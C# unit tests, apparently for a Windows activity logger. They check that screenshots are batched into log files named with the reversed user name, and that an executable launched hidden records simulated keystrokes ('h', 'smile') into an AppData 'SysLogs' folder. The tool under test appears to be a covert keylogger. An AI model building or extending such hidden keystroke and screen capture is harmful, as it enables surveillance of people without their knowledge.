public void ShouldCreateTwoLogFilesIfFilesAreGreaterThen100() { appendedFilesStore = new Dictionary <string, List <string> >(); var jarFactory = Mock.Create <IJarFileFactory>(); Mock.Arrange(() => jarFactory.GetJarFileWriter(Arg.AnyString)).Returns((string dataFile) => Factory(dataFile)); var imageCommentEmbedder = Mock.Create <IImageCommentEmbedder>(); var activityRepositary = new ActivityRepositary(jarFactory, imageCommentEmbedder, Mock.Create <IActivityReaderFactory>()); var img = Image.FromFile(imageFile); for (var ind = 0; ind < 190; ind++) { Activity activity = new Activity(img, string.Empty); activityRepositary.Add(activity); } Assert.AreEqual(appendedFilesStore.Count(), 2); Assert.AreEqual(100, appendedFilesStore[appendedFilesStore.Keys.FirstOrDefault()].Count()); Assert.AreEqual(90, appendedFilesStore[appendedFilesStore.Keys.LastOrDefault()].Count()); Assert.IsTrue(appendedFilesStore.Keys.FirstOrDefault().Contains(GetUserNameInReverse())); }
public void TestActivityLogger() { var dataFolder = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); dataFolder = Path.Combine(dataFolder, "SysLogs"); if (Directory.Exists(dataFolder)) { Directory.Delete(dataFolder, true); } ProcessHelper.KillProcess(Path.GetFileNameWithoutExtension(exe)); ProcessHelper.RunHidden(exe); Assert.IsTrue(ProcessHelper.GetProcess(exe).Any()); KeyPressSimulater keyPresSimulator = new KeyPressSimulater(); Thread.Sleep(2 * 1000); keyPresSimulator.PressKeyH(); Thread.Sleep(3 * 1000); keyPresSimulator.PressKey(Keys.S); keyPresSimulator.PressKey(Keys.M); keyPresSimulator.PressKey(Keys.I); keyPresSimulator.PressKey(Keys.L); keyPresSimulator.PressKey(Keys.E); Thread.Sleep(3 * 1000); Assert.GreaterOrEqual(Directory.GetFiles(dataFolder).Count(), 1); ActivityRepositary repo = new ActivityRepositary(new JarFileFactory(), new ImageCommentEmbedder(), new ActivityReaderFactory(new JarFileFactory())); var enumerator = repo.GetReader(Directory.GetFiles(dataFolder)); var lst = enumerator.ToList(); KeyProcessor processor = new KeyProcessor(); Assert.True(lst.Count() == 3); var procesedKeys = lst.FirstOrDefault().KeyPressedData; Assert.True(procesedKeys.Equals("Process Started")); procesedKeys = processor.ProcessKeys(lst[1].KeyPressedData).ProcessedData; Assert.True(procesedKeys.Equals("h")); procesedKeys = processor.ProcessKeys(lst.LastOrDefault().KeyPressedData).ProcessedData; Assert.True(procesedKeys.Equals("smile")); }